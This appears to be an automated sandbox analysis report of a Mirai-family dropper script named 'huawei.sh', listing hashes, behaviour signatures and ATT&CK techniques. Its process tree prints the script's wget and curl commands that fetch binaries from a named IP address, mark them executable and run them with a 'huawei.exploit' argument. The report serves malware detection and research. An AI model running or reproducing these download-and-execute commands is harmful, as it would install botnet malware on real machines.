Analysis
-
max time kernel
145s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
11/12/2024, 21:52
Static task
static1
Behavioral task
behavioral1
Sample
huawei.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
huawei.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
huawei.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
huawei.sh
-
Size
2KB
-
MD5
d733ae5816517dae48097b7f847accb5
-
SHA1
72997aecdd0ab479d3678cf57a57d4a2f10fcf11
-
SHA256
327c9cb0c729c36cd319c1c289868f40cdfecd6cf41b9697cfdfdc48dd38c827
-
SHA512
827cf08cc886e6404480bdbfadc55467bef16099b104734ed664fc608109ac09c248be8f83b4938c5f7a073a97a14c5f01ef33ec8acb16bd0f34b2debf32593e
Malware Config
Extracted
mirai
BOTNET
Signatures
-
Mirai family
-
Contacts a large (106195) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1511 chmod 1516 chmod 1525 chmod -
Executes dropped EXE 3 IoCs
ioc pid Process /tmp/Andrew 1512 Andrew /tmp/Andrew 1517 Andrew /tmp/Andrew 1526 Andrew -
Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Andrew File opened for modification /dev/misc/watchdog Andrew File opened for modification /dev/watchdog Andrew File opened for modification /dev/misc/watchdog Andrew -
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp Andrew -
resource yara_rule behavioral1/files/fstream-3.dat upx behavioral1/files/fstream-6.dat upx -
Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself /var/Sofia 1517 Andrew Changes the process name, possibly in an attempt to hide itself /var/Sofia 1526 Andrew -
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp Andrew -
description ioc Process File opened for reading /proc/ Andrew File opened for reading /proc/ Andrew -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/i486 curl File opened for modification /tmp/Andrew huawei.sh File opened for modification /tmp/x86 wget File opened for modification /tmp/x86 curl File opened for modification /tmp/i686 wget File opened for modification /tmp/i686 curl
Processes
-
/tmp/huawei.sh/tmp/huawei.sh1⤵
- Writes file to tmp directory
PID:1503 -
/usr/bin/wgetwget http://37.114.41.90/bins/i4862⤵PID:1504
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i4862⤵
- Writes file to tmp directory
PID:1509
-
-
/bin/catcat i4862⤵PID:1510
-
-
/bin/chmodchmod +x Andrew config-err-xTetUE huawei.sh i486 netplan_ey82z6ny snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-RaECMh2⤵
- File and Directory Permissions Modification
PID:1511
-
-
/tmp/Andrew./Andrew huawei.exploit2⤵
- Executes dropped EXE
PID:1512
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x862⤵
- Writes file to tmp directory
PID:1513
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/x862⤵
- Writes file to tmp directory
PID:1514
-
-
/bin/catcat x862⤵PID:1515
-
-
/bin/chmodchmod +x Andrew config-err-xTetUE huawei.sh i486 netplan_ey82z6ny snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-RaECMh x862⤵
- File and Directory Permissions Modification
PID:1516
-
-
/tmp/Andrew./Andrew huawei.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Changes its process name
- Reads runtime system information
PID:1517
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/i6862⤵
- Writes file to tmp directory
PID:1519
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i6862⤵
- Writes file to tmp directory
PID:1523
-
-
/bin/chmodchmod +x Andrew config-err-xTetUE huawei.sh i486 i686 netplan_ey82z6ny snap-private-tmp ssh-WOxbGU3ZyI9l systemd-private-31394bd183164e30ab7270cefa65c722-bolt.service-rXt1pz systemd-private-31394bd183164e30ab7270cefa65c722-colord.service-B0EdJX systemd-private-31394bd183164e30ab7270cefa65c722-ModemManager.service-vDiwMl systemd-private-31394bd183164e30ab7270cefa65c722-systemd-resolved.service-DoImSo systemd-private-31394bd183164e30ab7270cefa65c722-systemd-timedated.service-RaECMh x862⤵
- File and Directory Permissions Modification
PID:1525
-
-
/tmp/Andrew./Andrew huawei.exploit2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1526
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x86_642⤵PID:1528
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
274B
MD5090e35476de39030dfeafbcf3d3e3f43
SHA1a4bd408cec5d1185b478e528cf60a9f5186e0b87
SHA2560085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b
SHA51255c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181
-
Filesize
28KB
MD515fb222600a3061f5c8e5ef04e5298a6
SHA193b4a17632479c8a45e2554a18ea61ea7365c532
SHA256fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965
SHA51211e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34
-
Filesize
28KB
MD554d07ade0004f03aaca028523d8f3eb6
SHA173606fc68439ea7ceb148f94d61dbe0235da8355
SHA256d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b
SHA51243ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b